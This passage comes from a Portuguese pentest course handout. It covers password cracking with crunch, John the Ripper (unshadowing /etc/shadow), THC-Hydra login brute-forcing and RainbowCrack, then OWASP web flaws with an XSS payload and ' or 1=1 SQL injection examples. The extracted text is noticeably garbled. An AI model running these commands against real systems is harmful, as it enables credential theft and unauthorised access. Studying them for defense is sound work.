Uma boa wordlist fundamental para o sucesso de um ataque de brute force. possvel comprar wordlists, fazer download ou at mesmo gerar listas de palavras que sero usadas pelas ferramentas de brute force.

12.2.1 Gerao de Wordlist


Existem diversas ferramentas que auxiliam na gerao de uma wordlist. Abaixo listaremos algumas das ferramentas que podem ser usadas para a realizao dessa tarefa.

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

# crunch 5 8 12345678 > / tmp / wordlist - numeric

Onde: 5 - tamanho mnimo da palavra 8 - tamanho mximo da palavra 12345678 - Caracteres que sero usados para a gerao da lista Temos mais algumas opes a denir com esta ferramenta, mas desta vez vamos tentar criar combinaes mais prximas do mundo real onde muitas vezes, ou por falta de criatividade ou medo de esquecer a senha as pessoas acabam associando ao prprio nome uma data, casamento, namoro, nascimento, aniversrio do papagaio, etc. Vamos ver como poderamos adivinhar a senha o Jnior.

# crunch 1

123456789

-t junior@@@@ > / tmp / juniorlist

Vamos fazer uso de outra ferramenta para gerar wordlists, no caso, a ferramenta wyd. A diferena dessa ferramenta para o crunch que essa utiliza uma maneira mais inteligente de gerar as combinaes. Vamos gerar a wordlist com baseado em um arquivo HTML de um site qualquer que zemos download:

# wyd . pl -o / tmp / wordlist ./ meu_dump . html

Eliminando as palavras repetidas:

# cat / tmp / wordlist | sort -u > / tmp / wordlist - inteligente

O wyd consegue gerar combinaes a partir de arquivos em texto puro, html, php, doc, ppt, pdf, odt, ods e odp.

PenTest - Segurana Hacker

Pgina 134

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

12.3 John The Ripper


O John um dos utilitrios mais conhecidos para decifrar senhas no Linux, pois consegue decifrar algoritmos usados pelo sistema como o MD5 e outras. Toda a congurao do John feita em um arquivo texto chamado john.conf em sistemas Unix ou john.ini no Windows, por exemplo. Neste arquivo voc consegue denir regras para a descoberta de senhas, wordlists, parmetros para os modos e at denir um novo modo de descoberta de senhas. Este arquivo dividido em vrias sees. Todas as sees comeam com uma linha com seu nome entre colchetes ( [ ] ). As opes destas sees so denidas em variveis de modo bem simples, como em: varivel = valor Os nomes de sees e variveis so case-insensitive, ou seja, SECAO1 e secao1 so a mesma seo e VAR1 e var1 so a mesma varivel. Os caracteres # e ; so completamente ignorados, assim como linhas em branco. Abaixo esto as explicaes das opes dividas por seo:

Options:
Wordlist: A wordlist a ser utilizada pelo JtR. O arquivo pode estar em qualquer lugar, basta especicar o caminho correto nessa varivel; Idle: Congura o John para usar seu CPU quando este estiver inativo. Diminui o desempenho da quebra da senha, porm no impacta tanto no desempenho de outros programas. O padro desta opo N (desabilitado); Save: Intervalo no qual o software ir gravar seu progresso para no caso de uma interrupo ele possa recomear novamente de onde havia parado; Beep: Emite um bip quando uma senha quebrada.

PenTest - Segurana Hacker

Pgina 135

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

List.Rules:Single
Nesta seo cam as regras default do software para a quebra das senhas. So regras como substituio de strings, escrita 1337 e outras.

List.Rules:Wordlist
Nesta seo cam as regras de substituio de caracteres, modicaes de palavras, etc quando se est usando uma wordlist para tentar quebrar as senhas do arquivo.

List.Rules:NT
Nesta seo cam as regras utilizadas quando se est quebrando senhas cifradas utilizando o algoritmo NTLM (Windows).

Incremental:*
Aqui cam as regras para o tipo de quebra de senhas chamado Incremental (todos os "tipos"de tentativas de quebra de senha que o John utiliza sero explicados mais adiante neste documento).

List.External:*
So alguns ltros pr-denidos para substituio de palavras, eliminao de caracteres indesejados, etc.

12.3.1 Modos
Jhon the Ripper utiliza alguns modos para que consiga otimizar a quebra da senha. Estes modos so explicados a seguir:

PenTest - Segurana Hacker

Pgina 136

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

Modo Wordlist - Para utilizar esse mtodo voc vai precisar de uma wordlist. Existem vrios lugares na Internet que possuem milhares de wordlists disponveis gratuitamente, s dar uma olhada no Google que voc ir encontrar vrias. Para te ajudar, aqui no item "Wordlists"voc encontra vrios links para wordlists disponveis na Internet. L voc tambm encontra algumas dicas de como organizar a sua lista. Mas vale lembrar que no bom que voc tenha entradas duplicadas na sua lista, o Jhon the Ripper no vai fazer absolutamente nada com a sua wordlist antes de comear a testar as palavras que tem nela. Este o modo mais simples suportado pelo John. Para utiliz-lo voc s especica uma wordlist e algumas regras para ele fazer combinaes das palavras que ele encontrar na lista que voc especicou. Quando utilizando determinados algoritmos, o Jhon the Ripper se beneciar se voc colocar senhas com tamanhos mais ou menos parecidos perto umas das outras. Por exemplo, seria interessante voc colocar as senhas com 8, 6 ou 9 caracteres perto umas das outras na sua wordlist. A wordlist padro a ser utilizada pelo John denida no arquivo john.conf. Modo Single Crack - neste modo que voc deveria comear a tentar quebrar uma senha. Aqui, alm de vrias regras de handling serem aplicadas, o Jhon the Ripper vai utilizar mais informaes como o nome completo do usurio e seu diretrio home para tentar descobrir qual a senha. Este modo muito mais rpido que o modo "Wordlist". Modo Incremental - Este o modo mais poderoso do Jhon the Ripper. Nele sero tentadas todas as combinaes possveis de caracteres para tentar quebrar a senha cifrada. Dada a grande quantidade de combinaes possveis, recomendvel que se dena alguns parmetros (como tamanho da senha ou conjunto de caracteres a serem utilizados) para que voc no que esperando pela senha ser quebrada por muito tempo. Todos os parmetros para este modo so denidos no arquivo john.conf, nas sees comeadas com Incremental no nome. Modo External - Esse modo bastante complexo. Nele voc pode denir regras prprias para o John seguir ao tentar quebrar uma senha. Tais regras so denidas em uma linguagem parecida com a C no arquivo de congurao do programa. Ao ser especicado este modo ao tentar quebrar uma senha na linha de comando, o JtR vai pr-processar as funes que voc escreveu para este modo e utiliz-las. A documentao de uso desse modo pode ser obtida em:

http://www.openwall.com/john/doc/EXTERNAL.shtml

PenTest - Segurana Hacker

Pgina 137

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

12.3.2 Linha de Comando


O John suporta vrias opes de linha de comando, geralmente usadas para ativar determinados modos de uso do software. Preste bastante ateno no case das opes, o JtR case-sensitive! Uma caracterstica muito legal dele que possvel abreviar as opes da linha de comando desde que no haja ambigidade (mais ou menos da maneira como ocorre no shell de roteadores Cisco, por exemplo). Abaixo vou dar uma explicao bsica das opes que o John suporta. Se voc se esquecer de alguma opo quando estiver utilizando o JtR, s digitar "john"no terminal e todas as opes sero impressas para voc. As opes podem ser denidas utilizando ou - e seus parmetros so denidos utilizando = ou :. single: Dene o modo "single"para quebrar as senhas. wordlist=ARQUIVO: Dene o modo "wordlist"para quebrar as senhas e dene o arquivo ARQUIVO como sendo de onde as senhas sero lidas. Aqui voc pode utilizar tambm a opo stdin para dizer que as palavras viro da entrada padro. incremental: Dene que ser utilizado o modo "incremental"para quebrar a senhas. Opcionalmente voc pode denir que tipo de modo incremental ser utilizado fazendo incremental[=MODO]. external=MODO: Dene que ser utilizado o modo external. rules: Habilita as regras para wordlist denidas em john.conf quando se utiliza o modo wordlist. stdout[=LENGTH]: Quando utilizado, faz com que o JtR imprima as possveis senhas direto na sada padro ao invs de tent-las contra um hash. Se voc denir o parmetro LENGTH s sero impressas senhas com caracteres at a quantidade especicada em LENGTH. restore[=NOME]: Faz com que uma sesso que foi interrompida anteriormente continue de onde parou. Se voc denir um nome diferente para a sesso, especique o nome dela na linha de comando junto com esta opo. A sesso ca gravada na home do John, em um arquivo chamado john.rec. session=NOME: Dene o nome da sesso que pode ser utilizado com a opo restore. A esse nome ser automaticamente adicionado a extenso .rec. status[=NOME]: Mostra o status da ltima sesso ou, se denido o nome da sesso, da sesso especicada.

PenTest - Segurana Hacker

Pgina 138

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

make-charset=ARQ: Gera um arquivo charset para ser utilizado no modo "incremental". show: Mostra as senhas do arquivo que voc especicou para o JtR que j foram quebradas. Esta opo especialmente til quando voc tem outra instncia do JtR rodando. test: Esta opo faz um benchmark de todos os algoritmos compilados no software e os testa para saber se esto funcionando corretamente. Esta opo j foi explicada anteriormente. users=[-]Nome do usurio ou UID: Com esta opo voc pode especicar para o JtR quais usurio voc quer tentar quebrar a senha. Voc pode utilizar o nome de usurio ou o UID dele e pode separar vrios usurios utilizando uma vrgula. Utilizando o -"antes do nome do usurio, voc faz com que o John ignore aquele usurio ou UID. groups=[-]GID: Faz com que o John tente quebrar apenas as senhas dos usurios participantes de um grupo especicado (ou ignor-los, se voc utilizar o -"). shells=[-]SHELL: Apenas tenta quebrar as senhas dos usurios cujas shells sejam iguais que foi especicada por voc na linha de comando. Utilizando o -"voc ignora as shells especicadas. salts=[-]NUMERO: Deixa voc especicar o tamanho das senhas que sero (ou no) testadas. Aumenta um pouco a performance para quebrar algumas senhas, porm o tempo total utilizando esta opo acaba sendo o mesmo. format=FORMATO: Permite a voc denir o algoritmo a ser usado para quebrar a senha, ignorando a deteco automtica do software. Os formatos suportados atualmente so DES, BSDI, MD5, AFS e LM. Voc tambm pode utilizar esta opo quando estiver utilizando o comando test, como j foi explicado anteriormente neste texto. save-memory=1, 2 ou 3: Esta opo dene alguns nveis para dizer ao John com qual nvel de otimizao ele ir utilizar a memria. Os nveis variam de 1 a 3, sendo 1 a mnima otimizao. Esta opo faz com que o JtR no afete muito os outros programas utilizando muita memria.

PenTest - Segurana Hacker

Pgina 139

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

12.3.3 Usando o Jhon the Ripper


Para executar o John sobre arquivos de senha de Linux, teremos que passar para ele as senhas esto utilizando o esquema de shadow no sistema. Para isso, utilizaremos o executvel unshadow, que est presente junto com o John:
1

# ./ unshadow / etc / passwd / etc / shadow > password

Agora podemos executar o John referenciando o nosso arquivo password


1

# ./ john password

Tambm podemos passar na sintaxe um parmetro para que o John pegue a lista de palavras de outro arquivo (por exemplo, as wordlists que geramos anteriormente):
1

# ./ john - wordfile :/ tmp / juniorlist password

O John gera dois arquivos de log: o john.pote o restore. No primeiro arquivo esto as senhas j decifradas, para que em uma nova execuo ele no comece tudo do zero. J o arquivo restore ir conter informaes sobre o estado de execuo do John para continuar executando uma sesso interrompida (por exemplo, quando teclamos CTRL+C durante a execuo). Se voc quiser retomar a execuo do ponto onde parou, basta executar:
1

# ./ john - restore

Tambm podemos exibir as senhas j descobertas pelo programa usando a opo show:
1

# ./ john - show arquivo_passwd

importante ressaltar que o John The Ripper possui mdulos adicionais que no so compilados durante uma compilao padro. Esses mdulos podem ser encontrados no prprio site da ferramenta, atravs do endereo: http://www.openwall.com/john/. Os mdulos adicionais se encontram no nal da pgina inicial. Como exemplo, podemos citar o mdulo para quebrar senhas de Lotus Domino e MySQL.

PenTest - Segurana Hacker

Pgina 140

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

12.4 THC-Hydra
O hydra um dos utilitrios que abrangem uma grande quantidade de servios que podem ser alvos de brute force, entre eles: TELNET, FTP, Firebird, HTTPGET, HTTP-HEAD, HTTPS-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY- NTLM, HTTP-FORM-GET, HTTP-FORM-POST, HTTPS-FORM-GET, HTTPS-FORM- POSTLDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, POP3 NTLM, IMAP, IMAP-NTLM, NCP, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTPAUTH, SMTP-AUTH NTLM, SSH2, SNMP, CVS, Cisco AAA, REXEC, SOCKS5, VNC, POP3 e VMware-Auth. Alm disso, o hydra fornece suporte a conexes via proxy. O xhydra um utilitrio gtk para uso do hydra na interface grca.

12.4.1 Usando o HydraGTK


Para baixar o HydraGTK, basta acessar o endereo:

http://freeworld.thc.org/releases/hydra-5.8-src.tar.gz

Aps baixar o arquivo, execute os seguintes comandos para descompact-lo e compillo:


1 2 3 4 5

# tar - xzvf hydra -5.8 - src . tar . gz # cd hydra -5.8 - src # ./ configure ; make ; make install # cd hydra - gtk # ./ configure ; make ; make install

O HydraGTK vem instalado por padro no BackTrack.

12.4.2 Hydra no terminal


Exemplo do hydra sendo usado contra o servio FTP:

PenTest - Segurana Hacker

Pgina 141

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

# ./ hydra -L / tmp / usuarios -P / tmp / pass -o / tmp / resultado -v 192.168. .1 ftp

Em /tmp/usuarios temos a userlist de ftp, em /tmp/pass temos a wordlist para os usurios e em /tmp/resultado o resultado do brute force no servio. Vejamos o contedo do arquivo de sada do brute force:

# cat / tmp / resultado

O THC-Hydra tambm pode ser usado para realizar ataques contra formulrios web. Para isso, podemos usar a opo http-post-form ou http-get-form, dependendo do mtodo usado para envio dos dados pelo formulrio web. Vamos analisar o comando seguinte:

# hydra -l hydra -P password . lst -s 8 <IP > http - post - form "/ administrador / index . php : usuario =^ USER ^& senha =^ PASS ^& submit = Login : Incorrect Username "

O parmetro USER ser substitudo pelos usurios, no nosso caso, o valor passado para a opo l, no nosso caso o valor hydra, e o parmetro PASS ser substitudo pelos valores passados na opo P, no nosso caso, uma wordlist chamada password.lst.

# hydra -l admin -P wl . txt -o resultado . txt 192.168.3.1 6 http - get form "/ bf / bf . php : usuario =^ USER ^& senha =^ PASS ^& submit = Enviar : incorreta "

12.5 Rainbow Crack


RainbowCrack um programa que gera rainbow tables para serem usadas na quebra de senhas. O RainbowCrack difere dos programas de fora bruta convencionais,

PenTest - Segurana Hacker

Pgina 142

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

pois utiliza tabelas previamente criadas, chamadas rainbow tables, para reduzir drasticamente o tempo necessrio para quebrar senhas. Um timo programa para utilizarmos para quebrar senhas Windows com rainbow tables o Ophcrack Para baixar Rainbow Tables:

http://rainbowtables.shmoo.com/

http://www.ethicalhacker.net/content/view/94/24/

12.6 Utilizando o Rainbow Crack para criao de Rainbow Tables


12.6.1 Introduo
RainbowCrack uma ferramenta cujo objetivo quebrar hash de senhas. O mtodo utilizado pela ferramenta o brute force. Nesse mtodo, todas as senhas em texto plano e seus hashs correspondentes so computados um por um. O hash computado comparado com o hash alvo. Se um deles for igual, a senha em texto plano encontrada. Do contrrio, o processo continua at nalizar todas as senhas possveis. No mtodo time-memory, a tarefa de computar hashs feita atravs do armazenamento dos resultados no que chamamos de "rainbow table". Depois disso, os hashes podem ser acessados a partir das rainbow tables sempre que necessrio. O processo pr-computacional precisa de muito tempo para criar as chaves que sero posteriormente utilizadas. No entanto, uma vez que esse processo tenha terminado, a performance da rainbow tables pode ser de centenas a milhares de vezes maior do que o mtodo de brute force.

PenTest - Segurana Hacker

Pgina 143

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

Vamos ver passo a passo como utilizar o software RainbowCrack. Esse software inclui trs ferramentas que devem ser usadas em sequncia para fazer a coisa funcionar:

Passo 1: usar o rtgen para gerar as rainbow tables.


O programa rtgen precisa de diversos parmetros para gerar uma rainbow table, e a sintaxe do comando :

rtgen hash_algorithm charset plaintext_len_min plaintext_len_max table_index chain_len chain_num part_index

Explicao dos parmetros: hash_algorithm O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usado na rainbow table. charset A congurao dos caracteres (charset) do texto plano na rainbow tables. Todos os charsets possveis esto denidos no arquivo charset.txt. plaintext_len_min e plaintext_len_max Estes dois parmetros denem o tamanho possvel de todo o texto plano na rainbow tables. Se o charset numrico, o plaintext_len_min 1, e o plaintext_len_max 5, ento a string "12345"ser includa na tabela, mas "123456"no. table_index, chain_len, chain_num e part_index Estes quatro parmetros so mais difceis de explicar em poucas palavras. Ler e compreender o artigo original de Philippe Oechslin (criador do RainbowCrack), pode ajudar a entender o signicado exato. O table_index est relacionado ao "reduce function"que utilizado na rainbow table. O chain_len o tamanho de cada "rainbow chain"na rainbow table. Uma "rainbow chain"congurada como 16 bytes a menor unidade em uma rainbow table. Uma rainbow tables contm diversas rainbow chains. O chains_num o nmero de rainbow chains em uma rainbow table. O parmetro part_index determina como o "start point"em cada rainbow chain gerado. Deve ser um nmero (ou comear com um nmero). Os valores corretos de todos os parmetros dependem do que vocs precisa, e selecionar bons parmetros requer um bom entendimento do algoritmo de time- memory tradeoff.

PenTest - Segurana Hacker

Pgina 144

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

Agora hora de criar uma rainbow table. Altere o diretrio corrente em seu terminal de comando para o diretrio do RainbowCrack, e execute o comando seguinte:

1 2

# cd / pentest / passwords / rcrack # rtgen md5 loweralpha - numeric 1 7

38

33554432

Esse comando leva 4 horas para ser completado em um computador com um processador Core2 Duo E7300. possvel parar a execuo do mesmo a qualquer momento pressionando Ctrl+C. Da prxima vez que o comando for executado com a mesma linha de comando, ele continuar a partir do ponto em que foi interrompido para continuar com a gerao da tabela. Quando o comando tiver terminado, um arquivo com o nome de "md5_loweralphanumeric#1-7_0_3800x33554432_0.rt"e tamanho de 512 MB ser criado. O nome do mesmo simplesmente a linha de comando utilizada com os parmetros interligados, com a extenso "rt". O programa rcrack que ser explicado mais a frente, precisa dessas informaes para saber quais os parmetros existentes na rainbow table. Portanto, no renomeie o arquivo. As demais tabelas podem ser geradas da mesma forma, com os comandos:

1 2 3 4 5

# # # # #

rtgen rtgen rtgen rtgen rtgen

md5 md5 md5 md5 md5

loweralpha - numeric loweralpha - numeric loweralpha - numeric loweralpha - numeric loweralpha - numeric

1 1 1 1 1

7 7 7 7 7

1 2 3 4 5

38 38 38 38 38

33554432 33554432 33554432 33554432 33554432

Agora, o processo de criao da rainbow table est completo.

Passo 2: usar o rtsort para organizar as rainbow tables


As rainbow tables geradas pelo programa rtgen precisam de um ps- processamento para tornar sua consulta mais fcil e rpida. O programa rtsort utilizado para organizar todas as rainbow chains em uma rainbow table. Utilize os seguintes comandos:

PenTest - Segurana Hacker

Pgina 145

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

1 2 3 4 5 6 7 8

# # # # # #

rtsort rtsort rtsort rtsort rtsort rtsort

md5 \ _loweralpha - numeric #1 -7\ _ \ _38 md5 \ _loweralpha - numeric #1 -7\ _1 \ _38 md5 \ _loweralpha - numeric #1 -7\ _2 \ _38 md5 \ _loweralpha - numeric #1 -7\ _3 \ _38 md5 \ _loweralpha - numeric #1 -7\ _4 \ _38 md5 \ _loweralpha - numeric #1 -7\ _5 \ _38

x33554432 \ _ x33554432 \ _ x33554432 \ _ x33554432 \ _ x33554432 \ _ x33554432 \ _

. rt . rt . rt . rt . rt . rt

Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execuo. O programa rtsort gravar a rainbow table organizada por sobre o arquivo orginal. No interrompa a execuo do comando, do contrrio o arquivo original ser danicado. Agora o processo de organizao das rainbow tables est completo.

Passo 3: usar o rcrack para buscar o contedo das rainbow tables


O programa rcrack utilizado para acessar as rainbow tables. Ele aceita apenas rainbow tables organizadas. Assumindo que as rainbow tables organizadas estejam no mesmo diretrio do programa, para quebrar hashes nicos a linha de comando ser:

# rcrack *. rt -h aqui_vai_o_hash_para_ser_quebrado

O primeiro parmetro especica o caminho para buscar nos arquivos das rainbow tables. Os caracteres "*"e "?"podem ser usados para especicar vrios arquivos. Normalmente isso leva algumas dezenas segundos para nalizar, se a string existir dentro do "range"do charset e tamanho de strings selecionados. Do contrrio, levase muito mais tempo para buscar por todas as tabelas, apenas para no encontrar nada. Para quebrar mltiplos hashs, coloque todos os hashs em um arquivo de texto, com um hash por linha. E ento especique o nome do arquivo na linha de comando do programa rcrack:

PenTest - Segurana Hacker

Pgina 146

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

# rcrack *. rt -l arquivo_com_lista_de_hashes

Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui um suporte especial para o parmetro -f". Um arquivo de dump de hash no formato pwdump necessrio como input para o programa rcrack. O contedo do arquivo parecer com o seguinte:

Administrator :5 :1 c3a2b6d939a1 21aad3b435b514 4ee : e241 6942bf38bcf57a6a4b29 16eff6 ::: 2 Guest :5 1: a296c9e4267e9ba9aad3b435b514 4ee :9 d978dda95e5185bbeda9b3ae f84b4 :::
1

O arquivo pwdump a sada de utilitrios tais como pwdump2, pwdump3 ou outros. E contm os hashes tanto lm quant ntlm. Para quebrar hashes lm em arquivos pwdump, use o seguinte comando:

# rcrack *. rt -f arquivo_pwdump

O algoritmo de hash lm converte todas as letras minsculas em strings maisculas; como resultado disso, todas as strings quebradas atravs do hashe lm, nunca contm letras minscula, enquanto que a string original poed conter letras minsculas. O programa rcrack tentar corrigir isso em hashes ntlm armazenados no mesmo arquivo e exibir a string original.

OSSTMM Recomenda
Ataque automatizado de dicionrio a pasta de senhas; Ataque de fora bruta a pasta de senhas; Ataque de fora bruta em servios. Obter a pasta de senhas do sistema que guarda nomes de usurio e senha; Para sistemas Unix, devero estar em /etc/passwd e/ou /etc/shadow ;

PenTest - Segurana Hacker

Pgina 147

Linux Force www.linuxforce.com.br

Tecnicas de Forca Bruta

Para sistemas Unix que realizam autenticaes SMB, pode encontrar as senhas de NT em /etc/smbpasswd; Para sistemas NT, devero estar em /winn/repair/Sam

PenTest - Segurana Hacker

Pgina 148

13 Vulnerabilidades em aplicaes web


13.1 Entendendo a aplicao web
Aplicaes web so programas que cam em um servidor web e executam tarefas para dar uma resposta ao usurio. Webmails, web fruns e blogs so exemplos de aplicaes web. Uma aplicao web usa uma arquitetura cliente/servidor, normalmente com um navegador web como cliente e o web server como o servidor da aplicao. O objetivo de tentar explorar uma aplicao web ganhar acesso a informaes condenciais. Aplicaes web so crticas para a segurana de um sistema porque usualmente elas esto conectadas com uma base de dados que contm informaes tais como cartes de crdito e senhas. Exemplos: Webmails web fruns Blogs Lojas virtuais

13.2 Por que to perigoso?


O objetivo de tentar explorar uma aplicao web ganhar acesso a informaes condenciais.

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

Aplicaes web so crticas para a segurana de um sistema porque usualmente elas esto conectadas com uma base de dados que contm informaes tais como cartes de crdito e senhas. A maior parte dos ataques atualmente, no so realizados contra a infraestrutura organizacional, mas sim contra aplicaes. E se houver falhas em aplicaes WEB, muito possivelmente o atacante conseguir acesso a todo contedo existente no servidor onde a aplicao est hospedada. Na maioria das vezes, vrias aplicaes WEB cam hospedadas em um mesmo servidor, compartilhando da mesma mquina fsica. Se uma, dessas vrias aplicaes hospedadas no servidor, tiver falhas graves, que permitam acesso mquina, todas as outras sero comprometidas e o atacante tambm poder explorar as demais mquinas acessveis na rede.

13.3 Principais Classes de Vulnerabilidades


Baseado no TOP 10 OWASP, que um ranking das 10 maiores vulnerabilidades WEB, seguem abaixo as vulnerabilidades mais exploradas em aplicaes WEB: A1 Cross Site Scripting (XSS) Os furos XSS ocorrem sempre que uma aplicao obtm as informaes fornecidas pelo usurio e as envia de volta ao navegador sem realizar validao ou codicao daquele contedo. O XSS permite aos atacantes executarem scripts no navegador da vtima, o qual pode roubar sesses de usurio, pichar sites Web, introduzir worms, etc. A2 Falhas de Injeo As falhas de injeo, em especial SQL Injection, so comuns em aplicaes Web. A injeo ocorre quando os dados fornecidos pelo usurio so enviados a um interpretador com parte do comando ou consulta. A informao maliciosa fornecida pelo atacante engana o interpretador que ir executar comandos mal intencionados ou manipular informaes. A3 Execuo maliciosa de arquivos Os cdigos vulnerveis incluso remota de arquivos (RFI) permite ao atacante incluir cdigo e dados maliciosos, resultando em ataques devastadores, como o comprometimento total do servidor. Os ataques de execuo de arquivos maliciosos afeta PHP, XML e todos os frameworks que aceitem nomes de arquivo ou arquivos dos usurios. A4 Referncia Insegura Direta Objetos Uma referncia direta objeto ocorre quando um desenvolvedor expe a referncia a um objeto implementado inter-

PenTest - Segurana Hacker

Pgina 150

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

namente, como o caso de arquivos, diretrios, registros da base de dados ou chaves, na forma de uma URL ou parmetro de formulrio. Os atacantes podem manipular estas referncias para acessar outros objetos sem autorizao. A5 Cross Site Request Forgery (CSRF) Um ataque CSRF fora o navegador da vtima, que esteja autenticado em uma aplicao, a enviar uma requisio prautenticada um servidor Web vulnervel, que por sua vez fora o navegador da vtima a executar uma ao maliciosa em prol do atacante. O CSRF pode ser to poderoso quanto a aplicao Web que ele ataca. A6 Vazamento de Informaes e Tratamento de Erros Inapropriado As aplicaes podem divulgar informaes sobre suas conguraes, processos internos ou violar a privacidade por meio de uma srie de problemas na aplicao, sem haver qualquer inteno. Os atacantes podem usar esta fragilidade para roubar informaes consideradas sensveis ou conduzir ataques mais estruturados. A7 Autenticao falha e Gerenciamento de Sesso As credenciais de acesso e token de sesso no so protegidos apropriadamente com bastante freqncia. Atacantes comprometem senhas, chaves ou tokens de autenticao de forma a assumir a identidade de outros usurios. A8 Armazenamento Criptogrco Inseguro As aplicaes Web raramente utilizam funes criptogrcas de forma adequada para proteo de informaes e credenciais. Os atacantes se aproveitam de informaes mal protegidas para realizar roubo de identidade e outros crimes, como fraudes de cartes de crdito. A9 Comunicaes inseguras As aplicaes freqentemente falham em criptografar trfego de rede quando se faz necessrio proteger comunicaes crticas/condenciais. A10 Falha de Restrio de Acesso URL Frequentemente, uma aplicao protege suas funcionalidades crticas somente pela supresso de informaes como links ou URLs para usurios no autorizados. Os atacantes podem fazer uso desta fragilidade para acessar e realizar operaes no autorizadas por meio do acesso direto s URLs.

PenTest - Segurana Hacker

Pgina 151

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

13.4 A1 CROSS SITE SCRIPTING (XSS)


O Cross Site Scripting, mais conhecido como XSS, de fato um subconjunto de inseres HTML. XSS a questo de segurana em aplicaes web mais prevalente e perniciosa. Os furos XSS ocorrem em aplicaes quaisquer que receba dados originados do usurio e o envie ao navegador sem primeiramente validar ou codicando aquele contedo. O XSS permite atacantes executarem script no navegador da vtima, que pode seqestrar sesses de usurios, desgurar web sites, inserir contedo hostil, conduzir ataques de roubo de informaes pessoais (phishing) e obter o controle do navegador do usurio usando um script mal intencionado (malware). O script malicioso freqentemente em Java Script, mas qualquer linguagem de script suportada pelo navegador da vtima um alvo potencial para este ataque.

13.4.1 VULNERABILIDADE
Existem trs tipos bem conhecidos de XSS: reetido, armazenado e insero DOM. O XSS reetido o de explorao mais fcil uma pgina reetir o dado fornecido pelo usurio como retorno direto a ele:
echo $_REQUEST[userinput];

O XSS armazenado recebe o dado hostil, o armazena em arquivo, banco de dados ou outros sistemas de suporte informao e ento, em um estgio avanado mostra o dado ao usurio, no ltrado. Isto extremamente perigoso em sistemas como CMS, blogs ou fruns, onde uma grande quantidade de usurios acessar entradas de outros usurios. Com ataques XSS baseados em DOM, o cdigo Java Script do site e as variveis so manipulados ao invs dos elementos HTML. Alternativamente, os ataques podem ser uma mistura ou uma combinao dos trs tipos. O perigo com o XSS no est no tipo de ataque, mas na sua possibilidade. Comportamentos no padro do navegador pode introduzir vetores de ataque sutis. O XSS tambm potencialmente habilitado a partir de quaisquer componentes que o browser utilize.

PenTest - Segurana Hacker

Pgina 152

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

Os ataques so freqentemente implementados em Java Script, que uma ferramenta poderosa de scripting. O uso do Java Script habilita atacante a manipular qualquer aspecto da pgina a ser renderizada, incluindo a adio de novos elementos (como um espao para login que encaminha credenciais para um site hostil), a manipulao de qualquer aspecto interno do DOM e a remoo ou modicao de forma de apresentao da pgina. O Java Script permite o uso do XmlHttpRequest, que tipicamente usado por sites que usam a tecnologia AJAX, mesmo se a vtima no use o AJAX no seu site. O uso do XmlHttpRequest permite, em alguns casos, contornar a poltica do navegador conhecida como "same source origination" assim, encaminhando dados da vtima para sites hostis e criar worms complexos e zumbis maliciosos que duram at o fechamento do navegador. Os ataques AJAX no necessitam ser visveis ou requerem interao com o usurio para realizar os perigosos ataques cross site request forgery (CSRF) (vide A-5).

13.4.2 EXPLORANDO
Exemplo de uma vulnerabilidade usando as Query Strings de uma pgina:
http://dominio.com/default.aspx?parametro=<script>alert(XSS Vul!);</script>

Neste exemplo ser exibido uma msgbox ao visitante do site, nada de to terrivel, mas com isso podemos imaginar que qualquer codigo digitado pode ser executado, tal como exibir dados da sesso, redirecionar pagina entre outros.

Saiba mais em: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4206 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3966 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5204 http://www.owasp.org/index.php/Cross_Site_Scripting http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

PenTest - Segurana Hacker

Pgina 153

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

13.5 A2 FALHAS DE INJEO


As falhas de Injeo, particularmente injeo SQL, so comuns em aplicaes web. Existem muitos tipos de injeo: SQL, LDAP, XPath, XSLT, HTML, XML, comando de sistema operacional e muitas outras. Falhas de Injeo acontecem quando os dados que o usurio d de entrada so enviados como parte de um comando ou consulta. Os atacantes confundem o interpretador para o mesmo executar comandos manipulados enviando dados modicados. As falhas de Injeo habilitam o atacante a criar, ler, atualizar ou apagar arbitrariamente qualquer dado disponvel para a aplicao. No pior cenrio, estes furos permitem ao atacante comprometer completamente a aplicao e os sistemas relacionados, at pelo contorno de ambientes controlados por rewall.

13.5.1 VULNERABILIDADE
Caso uma entrada de usurio seja fornecida a um interpretador sem validao ou codicao, a aplicao vulnervel. Verique se a entrada de usurio fornecida queries dinmicas, como por exemplo:
PHP: $sql = "SELECT * FROM table WHERE id = ". $_REQUEST[id] . ""; Java: String query = "SELECT user_id FROM user_data WHERE user_name = "+ req.getParameter("userID") + " and user_password = "+ req.getParameter("pwd") +"";

13.5.2 EXPLORANDO
Primeiro vamos analisar o codigo abaixo:

Select * from usuarios where username = + username + and password = + password ;

PenTest - Segurana Hacker

Pgina 154

Linux Force www.linuxforce.com.br

Vulnerabilidades em aplicaes web

Como caria a chamada no banco de dados se envissemos no username e password o contedo: or 1=1 ?

Select * from usuarios where username = or 1 = 1 and password = or 2 1 = 1 ;


1

